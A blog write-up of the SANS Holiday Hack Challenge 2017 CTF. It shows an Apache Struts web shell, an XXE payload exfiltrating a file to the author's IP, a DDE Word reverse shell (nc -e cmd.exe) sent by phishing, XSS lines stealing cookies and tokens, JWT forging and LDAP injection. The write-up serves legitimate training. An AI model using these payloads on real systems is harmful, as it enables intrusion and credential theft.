Jeppe Ernst

SANS Holiday Hack 2017 - The write-up

badsanta animate-sdpin-slow 2x

TL;DR: The answers

  1. Q: Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
    A: About this book…
  2. Q: Investigate the Letters to Santa application at What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?
    A1: On the topic of flying animals
    A2: stream_unhappy_buy_loss
  3. Q: The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
  4. Q: Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at What can you learn from The Great Book page found in an e-mail on that server?
    A: The story of the “Lollipop Guild”, The theory that there are Munchkin Moles among the elves on the North Pole.
  5. Q: How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
    A1: 4 infractions
    A2: Wesley Morton, Nina Fitzgerald, Sheri Lewis, Kirsty Evans, Boq Questrian & Bini Aru (and possibly also Manuel Graham & Beverly Khalil)
    A3: The Abominable Snowmonster, but he’s under a spell by the “Good” Witch Glenda… She told me herself, that’s gotta be proof enough!
  6. Q: The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
    A: The dreaded inter-dimensional tornadoes
  7. Q: Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
    A: The great witches of oz
  8. Q: Fetch the letter to Santa from the North Pole Elf Database at Who wrote the letter?
    A: The Wizard of Oz
  9. Q: Which character is ultimately the villain causing the giant snowball problem. What is the villain’s motive?
    A: Glinda, the good witch. Her plan was to provoke a war between Oz and the North Pole and sell arms to both factions.

1. 🎵 Rolling Rolling Rolling 🎵

We placed some conveyor belts and grabbed the page.

solution screenshot

2. final String password

Investigating the sourcecode of the site, we are immediately presented with a link to a development server The development server is running Apache Struts, and lo and behold if it isn’t an old exploitable version! 🙏

We used a python script by Chris Davis to exploit the development server and upload a remote PHP shell into the webroot. using ls /var/www/html we found that the greatbook page filename is “GreatBookPage2.pdf”, then we could download the file at

Next we had to find “Alabaster Snowballs” password. The hints would seem to indicate the he has a nasty habit of reusing the same password everywhere and hardcode them in his scripts. We ran find / -user alabaster_snowball -type f -not -path "/proc*" -not -path "/tmp/*" -exec grep -i 'password' {} this command finds all files owned by Alabaster and searches them for the string “password”. This turned up the file /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class the following is a snippet of the file:

public class Connect {
        final String host = "localhost";
        final String username = "alabaster_snowball";
        final String password = "stream_unhappy_buy_loss";   
        String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
        Connection connection = null;
        Statement statement = null;

Great! we found his password!

Going forward we can now login to the server using ssh and alabasters user.


As we just mentioned we can now login using SSH, ergo: we can do port forwarding into the local network where the server is hosted (pivoting). we initiate an Nmap scan on the remote local network in order to find a server that has the TCP/445 port open, i.e. an SMB share.

smbshare files screenshot Using SSH tunneling we mount port 445 on our localhost so we can easily access the SMB share. sshpass -p stream_unhappy_buy_loss ssh -L :445: [email protected] Then we can use smbclient -L localhost -U alabaster_snowball to list the available SMB shares, only one of the shares look interesting, the “filestor” share. So we mount that share smbclient \\\\localhost\\FILESTOR$ -U alabaster_snowball and grab all the files!

smbshare files screenshot There are a couple of files that will be of interest to us later, but for now we’ve solved Q3 and found another GreatBook page 📕.

4. "" === ""

Now we’re getting to the fun parts. We have to gain access to the mail server. In the robots.txt file we find a file that contains the code that is doing the serverside validation of the users token/cookie. The server uses AES 256 to validate the users token. This implementation of the check has a pretty glaring error though. The first 16 bytes of the AES 256 encrypted string is the IV (initilization vector) and the rest is the encrypted payload. BUT the server never checks if the entire payload is longer that 16 bytes! So no matter what the secret is on the server, if we can generate a valid AES 256 payload that is only 16 bytes long then it’ll always decrypt into "" an empty string/value!

So if we generate such a payload, f.ex with the following Node.js script (the important part is NOT updating the cipher, i.e. the line that is out-commented): Gives us {"name":"[email protected]", "plaintext":"", "ciphertext":"405ZFUXJtJ9W3PrYptWnnA"} and we try to authenticate with this token/cookie. Then the server will run the following to determine if the token is valid:

var key = 'need to put any length key in here';
var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
var ciphertext = thecookie.ciphertext;
var username =
var plaintext = aes256.decrypt(key, ciphertext);
if (plaintext === thecookie.plaintext) {
    return callback(true, username);
} else {
    return callback(false, '');

Normally if our ciphertext payload was longer than 16 bytes the above code would fail, but now that it’s only 16 bytes this var plaintext = aes256.decrypt(key, ciphertext) will result in plaintext = "". So when the server compares plaintext === thecookie.plaintext it will actually compare "" === "" and empty string is equal to empty string 💩.

Now we have a token/cookie that we can use to login as ANY user on the mail server!

Doing some reconnaissance (reading all of their emails) we find the following email addresses:

In one of the emails we find a link to a page from the GreatBook! There are several interesting emails, but we’ll get to those in due time.


In this challenge we have to combine 2 datasets, the first is a JSON list of all infractions that we can download from and the second is a list of all the kids that have been marked naughty/nice, the second list we found on the SMB share from Q3.

Counting all of the infractions that the children have made we can see a distinct change from 3 to 4 infractions

Analyzing required number of infractions required for "Naughty" status...
Henry Williams         Nice     3
Bob Byrne              Nice     3
Amelia Mark            Nice     3
Frank Chung            Nice     3
Al Molina              Nice     3
Lance Montoya          Naughty  4
Bini Aru               Naughty  4
Wesley Morton          Naughty  4
Ashlee Hodge           Naughty  4
Jay Saunders           Naughty  4
Answer: 4 infractions needed!

The second part of the challenge is a bit more involved. There was a second file of interest to this challenge on the SMB share. The BOLO - Munchkin Mole Report.docx This report describes the identity of two Munchkin moles that have been apprehended, notably they have been involved in “short-distance rock throwing”, “unrelenting hair pulling” and “super atomic wedgies” (The “super atomic wedgies” we got in a hint from “Minty Candycane”, true friend that Minty!)

Now if we go through our list of infractions again, searching for kids that have participated in any of the 3 above mentioned infractions, and increment a counter moleometer each time we find one of the infractions we get the following list of possible Munchkin moles

Analyzing dataset for Munchkin moles...
POSSIBLE MOLE DETECTED! Beverly Khalil    - mole like infractions 2
POSSIBLE MOLE DETECTED! Manuel Graham     - mole like infractions 2
POSSIBLE MOLE DETECTED! Bini Aru          - mole like infractions 3
POSSIBLE MOLE DETECTED! Boq Questrian     - mole like infractions 3
POSSIBLE MOLE DETECTED! Kirsty Evans      - mole like infractions 3
POSSIBLE MOLE DETECTED! Sheri Lewis       - mole like infractions 3
POSSIBLE MOLE DETECTED! Nina Fitzgerald   - mole like infractions 4
POSSIBLE MOLE DETECTED! Wesley Morton     - mole like infractions 4

The above output was generated with this python script:

6. xMk7H1NypzAqYoKw

To fetch the contents of the file “C:\greatbook.txt” we need to exploit the EAAS webapp. We can do that by using an XXE exploit, as described on the SANS blog

We create an XML file with the contents:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity SYSTEM "">

Then at the URL we placed a file with the contents:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://<my ip>:1337/?%stolendata;'>">

Then we run nc -l -p 1337 on our localmachine that is NATTED/portforwarded from the external IP on port 1337 to the internal IP on port 1337. Next we upload the XML file to the EAAS server and check our `nc command for successful exploit execution.

[email protected]:~# nc -l -p 1337
GET /? HTTP/1.1
Host: <my ip>:1337
Connection: Keep-Alive

The greatbook6.pdf could then be retrieved from

We need to gain access to the SCADA server. The hints seem to indicate that the admin Albaster has a nasty habit of using the server for his own affairs. Among other things he’s installed the Microsoft Office suite on the server!

While trawling through the email in Challenge 4. there was a lot of chatter (no really an insane amount!) from Alabaster to everyone in the company about a “Gingerbread Cookie Recipe” that he was desperate to get his hands on… So desperate that he even mentions that he would gladly open any .docx file and press OK to any prompts that would pop up! You get where this is going right? The #hottopic of 🍁 Fall 2017: Microsoft Office DDE Exploits, aka. “It’s a feature! not a bug!”.

We boot up a Windows machine and open Word, click “insert” -> “field”. In the empty field we enter {DDEAUTO c:\\windows\\system32\\cmd.exe "/k nc.exe -e cmd.exe <my ip> 1337"} then we save the document as gingerbread cookie recipe.docx" reading the emails it’s clear the Jessica Claus was the one who baked the cookies, so it stands to reason that she would be the one sending the recipe to Alabaster. So let’s do that!

mail screenshot

Before sending the email we start up nc -l -p 1337 -vvv once again on our localmachine that’s NATTED. Then we send the email, and Alabaster is not known for resting on his laurels (not when it comes to cookies at least…), he receives the document and promptly opens it within the span of 30 seconds! Now we have a reverse shell into the SCADA server “Huzzah!”

Now we just need to exfiltrate the GreatBook page in C:\ instead of downloading the file we’ll just generate the SHA1 hash of the file and cash it in on the Stockings page 😉

mail screenshot

8. 3lv3s

In order to gain access to the EDB server, we were left with no option but to perform an XSS attack on a poor elf supporter. First we looked through the code and could see that there were several XSS client side checks before we could submit a support ticket. The hint led us to trying out quite a few XSS variants we ended up using <img src=x onerror=this.src='http://<my ip>:1337/collect.gif?cookie='+document.cookie /> and got the value of the Cookie! hxxer50N2e1C2AFt5X06… hmm… the hints mentioned a JWT token, but this was definitely not a JWT token (see how it’s missing the . separators?). So this was apparently a deadend. Where else could one store stuff in a browser? localStorage of course! We had looked all over the javascript sourcecode and somehow managed to completely miss this: token = localStorage.getItem("np-auth"); so changing our XSS slightly to <img src=x onerror=this.src='http://<my ip>:1337/collect.gif?cookie='+localStorage.getItem("np-auth") /> produced


a JWT token! decrypted it reads:

 "dept": "Engineering",
 "ou": "elf",
 "expires": "2017-08-16 12:00:47.248093+00:00",
 "uid": "alabaster.snowball"

At first glance this looked perfect! so we tried to set it in our own browsers localStorage np-auth key. But no it didn’t work… and then we saw why! The token had expired! (wait how did it work for that supporter then?! ಠ_ಠ) hmm… in order to change the expires value we had to find the key that the JWT token was signed with. If we just changed the value of expires then the signature part of the JWT would no longer be valid. We found a very nice and simple JWT cracker that had our poor laptop sweating for a couple of minutes before spitting put the secret 3lv3s

Then we were able to change the value of expires and sign the new JWT token, set it in localStorage, hit refresh and 💥 BOOM we were in!

edb screenshot Now we’re greeted by a form where we can search for LDAP users that are either in the “elf” or “reindeer” ou(organizational unit). The task is to gain access to a letter on the server, we see that in the “Account” menu there is a “Santa Panel”… but we can’t open it, only Santa can and right now we’re logged in as Alabaster. We know the secret to generate a new JWT token, but we don’t know what “ou” or “dept” Santa is in, but we’re pretty sure that he’s not in “elf” or “reindeer”, so we need to exploit the LDAP search.

Examining the sourcecode we find a snippet of the server code that executes the LDAP search.

edb screenshot And once again the dear elves have a hint for us, we need to go read up on LDAP injections on the SANS blog Having read that we can now craft a search string that’ll return all of the LDAP users, no matter what OU they belong to:

## from
result = ldap_query('
)', attribute_list)

## to
)', attribute_list)

and execute it in the browser console with poster("/search", { name: ")(ou=*))(&(gn=", "isElf":true, attributes: "*" }, token, function(result){console.log(JSON.stringify(result))}) this gives us all of the users with all of their attributes in a nice JSON string.

From the JSON we can see that Santa is a member of the “administrators” department and the “human” ou. Now we just generate a new JWT token with the following contents and sign it with the secret 3lv3s

  "dept": "administrators",
  "ou": "human",
  "expires": "2018-08-16 12:00:47.248093+00:00",
  "uid": "santa.claus"

and exchange this token with the one we have set in localStorage, hit refresh and then we’re logged in as Santa Claus. We try to open the “Santa Panel” again, but now were prompted for Santas password as an extra precaution… No biggie, we’ve already exported all of the user attributes. So we have an encrypted version of his password cdabeb96b508f25f97ab0f162eac5a04 using an online MD5 decrypter we get 1iwantacookie. Entering this in the prompt presents us with the letter, and the challenge is completed.

Terminal Challenges

Train Startup

We’re tasked with getting a binary file to run, but the normal way of doing it fails

[email protected]:~$ ./trainstartup 
bash: ./trainstartup: cannot execute binary file: Exec format error

So we run file on the binary and we can see that it’s an ARM executable.

[email protected]:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0
05de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped

To run ARM (and many other architectures!) on linux we can use QEMU qemu-arm trainstartup And the train runs!

Web log

We need to analyze an access logfile to answer what the least-popular browser is. This was solved using a combination of cut, awk, sed, uniq and sort (yeah it’s not pretty…)

cat access.log | awk -F' - |\\"' '{print $1, $7}' | sort | uniq | cut -d ' ' -f 2- | sed "s/[0-9./]//g" | sed "s/(.*)//g" | sort | uniq --count | sort

The answer was Dillo

Troublesome Process Termination

We need to kill the process santaslittlehelperd To get the PID of the process we run

[email protected]:~$ ps -aux
elf          1  0.0  0.0  18028  2848 pts/0    Ss   19:18   0:00 /bin/bash /sbin/init
elf          8  0.0  0.0   4224   632 pts/0    S    19:18   0:00 /usr/bin/santaslittlehelperd
elf         11  0.1  0.0  13528  6396 pts/0    S    19:18   0:00 /sbin/kworker
elf         12  0.0  0.0  18248  3220 pts/0    S    19:18   0:00 /bin/bash
elf         18  0.7  0.1  71468 26556 pts/0    S    19:18   0:00 /sbin/kworker
elf         71  0.0  0.0  34424  2868 pts/0    R+   19:19   0:00 ps -aux

Next we just run kill 8 and check the output of ps -aux aaaand the process is still alive… WTF? Someone has been toying with our commands! let’s check what the kill command really does

[email protected]:~$ type kill
kill is aliased to `true'

it just evaluates to true, utterly useless… let’s run kill again, but this time pointing directly to the binary /bin/kill 8 and now santaslittlehelperd has been terminated ⚰️.


We are presented with a small C program and part of it’s source code. In order to solve this challenge we need to make the rand() function return 42 everytime it’s run. One way of solving this is to compile our own C lib with a rand() function and override the function when the program is run. We make a small C file rand.c with the contents:

int rand(){ 
  return 42;

and compile it with gcc -fpic -shared -o rand.c Then we just need to load it together with the isit42 binary like so LD_PRELOAD=./ ./isit42 and the challenge is solved.

Shadow File Restoration

We need to restore the /etc/shadow file but we’re not running as root. If we examine the /etc/sudoers file we see that we can only run find` as root/superuser

# The elf user can run `find` with the shadow group
elf             ALL=(:shadow) NOPASSWD:/usr/bin/find

okay no problem, find can do all sorts of things with the files you find, like executing other commands with the result.

sudo -g shadow find /etc/ -name "shadow.bak" -exec mv {} /etc/shadow \;

The above command will find all files named shadow.bak in the /etc directory, then it'll run mv {} /etc/shadow and replace {} with the path of the found file. So the command that it runs will be mv /etc/shadow.bak /etc/shadow, then we just need to run inspect_da_box` and the challenge is solved.

Christmas Songs Data Analysis

We need to find the most poplular Christmas Songs in the sqlite database. There are 2 tables in the database

  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)

To find the most popular song we just need to join the two tables and do a count of the times that the songs have been liked.

sqlite> select title, artist, count(*) as numberLikes FROM songs s LEFT JOIN likes l ON = l.songid GROUP BY l.songid ORDER BY 
numberLikes DESC LIMIT 10;
Stairway to Heaven|Led Zeppelin|11325
Joy to the World|Mannheim Steamroller|2162
The Little Boy that Santa Claus Forgot|Vera Lynn|2140
I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)|The Little Stinkers|2132
Christmas Memories|Frank Sinatra|2129
Christmas Is Now Drawing Near at Hand|Steve Winwood|2126
Blue Holiday|The Shirelles|2122
Cold December Night|Michael Bublé|2120
A Baby Changes Everything|Faith Hill|2117
Why Couldn't It Be Christmas Every Day?|Bianca Ryan|2117

The answer was Stairway to Heaven.

Candy Cane Striper

We need to get the binary CandyCaneStriper to execute, but it’s missing the execute flag! Normally we would just use chmod +x CandyCaneStriper but for some reason the /bin/chmod binary is not working on this terminal…

Did you know that chmod() is actually a system call on Linux? no? me neither! But it totally is! So we can use f.ex. Perl to make the file executeable perl -e 'chmod 0755, "CandyCaneStriper"' and now we can execute CandyCaneStriper!

Linux Command Hijacking

We need to find the binary elftalkd and run it, easy right? we’ll just use the venerable find command!

[email protected]:~$ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

aaargh! find is broken 😞. So is locate and which. I guess We’ll have to come up with our own simple file searcher. let’s list all files and grep for elftalkd one way of doing this is ls -R / | grep -B 5 elftalkd (the -B 5 tells grep to also output the 5 lines preceeding the result, so we can see what folder the file is in)

[email protected]:~$ ls -R / | grep -B 5 elftalkd
ls: cannot open directory '/proc/tty/driver': Permission denied
ls: cannot open directory '/root': Permission denied

The binary is in /run/elftalk/bin so we can call it with /run/elftalk/bin/elftalkd and the challenge is solved.

Let’s get the (snow)ball rolling!

or how I got tired of placing objects and learned to hack the game
After a while I got fed up with the snowball game and decided to look into hacking the game instead.

all puzzles gold

The rules of engagement where pretty clear on the SANS HHC main site:

SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at AND other systems on the internal network that you access through the Letters to Santa system. You are also authorized to download data from, but you are not authorized to exploit that machine or any of the North Pole and Beyond puzzler, chat, and video game components of the Holiday Hack Challenge.

We’re not allowed to hack the server running the game, but it doesn’t mention manipulating clientside code anywhere now does it?

So we set about placing breakpoints all over the javascript files, and after some debugging we stumble upon this very telling funtion in the file hhc17-core-frontend.js

e.get("ajax").post("/api/roll/" + e.get("current_roll_id") + "/results", {
    data: {
        clientEvents: i.clientEvents
}).then(function(t) {
    e.set("results", t)

We set a breakpoint and let the snowball do it’s thing, once the breakpoint is reached we can inspect the variables that the browser is about to send off to the server, the only data that is being transmitted is i.clientEvents so let’s look at that

        "name": 17614,
        "payload": {},
        "stepId": 0,
        "type": 0
        "name": "waypoint2",
        "payload": {},
        "stepId": 368,
        "type": 16
        "name": "__exit__",
        "payload": {},
        "stepId": 426,
        "type": 32

it’s an array containing 3 objects, in this level I’ve only managed to complete one objective, and that is rolling over a waypoint and then hitting the yellow exit.

If we look around some more in the sourcecode we find the following object:

t.ClientEventType = {
    START: 0,
    HIT_EXIT: 32

The values in t.ClientEventType match with the type properties in the i.clientEvents objects! Searching through the code for ClientEventType.OBJECTIVE_COMPLETED we can build a list of all of the objectives that can be completed in the different levels.

We are still at the breakpoint before the browser has sent anything to the server, we can now replace the contents in i.clientEvents with our own made up clientEvents data, f.ex. for the first level, we can replace it with this:

i.clientEvents = []

Then we just hit continue in the debugger and the results modal pops up, with all the challenges solved!

all puzzles gold

Then it was just a matter of repeating the above procedure for every level, and unlock the last achievements.

Wrapping up

This was my first SANS HHC, but it surely won’t be my last, I had great fun and it was awesome to both give and recieve help/hints with the challenges. I managed to get all 85/85 points and a tied “first” with a 156 other “holiday hackers” (as of this moment).

PS: Everywhere I write “we” it’s really just “me” 🤪 I couldn’t decide what form to write this in… and I was pressed on time, so It’s a great big mess ❤️.

Special mentions

Thanks to all of the people at SANS & Counter Hack for creating/running/organizing SANS HHC 2017!

I would like to express my gratitude to the good folks on the #central-sec Slack group, especially @ustayready, @teh_warriar, @justin and @evanbooth (Evan especially for stopping me from wasting several days on decoding Reindeer speak, trying to uncover the “hidden achievement” 😅)